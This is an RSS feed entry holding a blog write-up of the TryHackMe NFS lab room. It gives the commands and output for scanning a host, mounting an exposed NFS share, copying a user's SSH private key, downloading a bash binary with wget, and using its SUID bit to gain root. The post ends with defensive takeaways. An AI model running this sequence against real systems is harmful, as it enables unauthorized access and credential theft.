<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Michael Muratov</title><link>https://michaelmuratov.com/tags/nmap/</link><description>Recent content on Michael Muratov</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sat, 12 Oct 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://michaelmuratov.com/tags/nmap/index.xml" rel="self" type="application/rss+xml"/><item><title>TryHackMe - NFS</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</link><pubDate>Sat, 12 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 THM Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 THM Network Services Room</a></p>
      </div>
  </div><h3 id="gaining-access-through-nfs">Gaining Access Through NFS</h3>
<h4 id="initial-reconnaissance">Initial Reconnaissance</h4>
<p>The first step to Network File System (NFS) exploitation is identifying an exposed NFS share on the target machine. A public NFS share might have insufficient access controls, allowing unauthorized mounting from a remote location. This gives us an initial vector to compromise the vulnerable server.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-71-105:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">PORT      STATE SERVICE  VERSION
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">111/tcp   open  rpcbind  2-4 <span class="o">(</span>RPC <span class="c1">#100000)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">2049/tcp  open  nfs_acl  <span class="m">3</span>   <span class="o">(</span>RPC <span class="c1">#100227)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">32969/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">33463/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">38233/tcp open  nlockmgr 1-4 <span class="o">(</span>RPC <span class="c1">#100021)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">43597/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">MAC Address: 02:AE:30:CF:78:25 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">Read data files from: /usr/bin/../share/nmap
</span></span><span class="line"><span class="ln">17</span><span class="cl">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span class="line"><span class="ln">18</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 75.34 seconds
</span></span><span class="line"><span class="ln">19</span><span class="cl">        Raw packets sent: <span class="m">128591</span> <span class="o">(</span>5.658MB<span class="o">)</span> <span class="p">|</span> Rcvd: <span class="m">128591</span> <span class="o">(</span>5.144MB<span class="o">)</span></span></span></code></pre></div>
<h4 id="mounting-the-shared-drive">Mounting the Shared Drive</h4>
<p>Remotely mounting the server&rsquo;s NFS share from our attacker machine gains us access to the server&rsquo;s file system, with its directories and files accessible directly on our device. This allows us to explore the server&rsquo;s file system, exfiltrate files from the server onto our device and upload our files to the server. These actions will let us grab private information and load malicious files onto the server to further our attack.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# sudo mount -t nfs <span class="nv">$IP</span>:home /tmp/mount/ -nolock</span></span></code></pre></div>
<p><img src="mounting_nfs.png" alt="image"></p>
<h4 id="ssh-key-extraction">SSH Key Extraction</h4>
<p>Navigating to the .ssh directory of a remote user on the mounted NFS share we found the user&rsquo;s SSH private key, which should never be stored on the server itself and should be securely stored on a trusted user machine. Should the server be breached through a vulnerability, the attacker can create a persistent method of entry using the stored private key to pose as a trusted user on future login attempts.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nb">cd</span> /tmp/mount/cappucino/.ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cp id_rsa ~
</span></span><span class="line"><span class="ln">3</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# <span class="nb">cd</span> ~
</span></span><span class="line"><span class="ln">4</span><span class="cl">root@ip-10-10-71-105:~# chmod <span class="m">600</span> id_rsa
</span></span><span class="line"><span class="ln">5</span><span class="cl">root@ip-10-10-71-105:~# cp id_rsa /<span class="nv">$local_folder</span></span></span></code></pre></div>
<p><img src="privatekey_transfer.png" alt="image"></p>
<h4 id="ssh-login-with-stolen-key">SSH Login with Stolen Key</h4>
<p>After locating an SSH private key, it is simple to extract it using the NFS server by copying it from the shared drive to a local directory on the attack box. This file allows us to authenticate and gain access to the remote user&rsquo;s account through SSH, giving us direct access to a user account on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# ssh -i id_rsa cappucino@<span class="nv">$IP</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>At this point the victim server has been compromised and we&rsquo;ve established a foothold in their infrastructure. Our next steps will involve escalating privileges and gaining persistence on the host to further cement our control.</p>
      </div>
  </div><h3 id="super-user-privilege-escalation-via-suid-exploit">Super User Privilege Escalation via SUID Exploit</h3>
<h4 id="uploading-malicious-script">Uploading Malicious Script</h4>
<p>Since we have 2 way connection, we can now upload anything we want to the server through the shared drive connection. We will upload a simple bash executable which we will use to escalate privileges and gain super user access on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash</span></span></code></pre></div>
<h4 id="suid-permission-modification">SUID Permission Modification</h4>
<p>After placing the script on the target machine we can set its SUID (Set User ID) bit. This allowed the script to run with elevated (root) privileges, regardless of the user executing it.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# sudo chmod +sx bash
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# ls -la bash
</span></span><span class="line"><span class="ln">3</span><span class="cl">    -rwsr-sr-x <span class="m">1</span> root root <span class="m">1113504</span> Oct  <span class="m">4</span> 04:42 bash</span></span></code></pre></div>
<p><img src="bash_transfer.png" alt="image"></p>
<h4 id="escalating-to-superuser-privileges">Escalating to Superuser Privileges</h4>
<p>Executed the modified SUID script to escalate privileges from the standard user to the superuser (root). This provided full control over the target system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cappucino@polonfs:~$ ./bash -p
</span></span><span class="line"><span class="ln">2</span><span class="cl">bash-4.4# whoami
</span></span><span class="line"><span class="ln">3</span><span class="cl">&gt; root</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>Now we have complete control over the victim server with super user access. Our next steps would be to establish persistence and scan for other devices on the network to initiate lateral movement.</p>
      </div>
  </div><h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>NFS Security Misconfigurations</strong>:
Exposed NFS shares without proper access controls can be a critical vulnerability, allowing unauthorized mounting and file access.</p>
</li>
<li>
<p><strong>SUID Misconfigurations</strong>:
SUID permissions on scripts and binaries can be exploited to gain elevated privileges, especially if the target does not enforce proper file permissions.</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>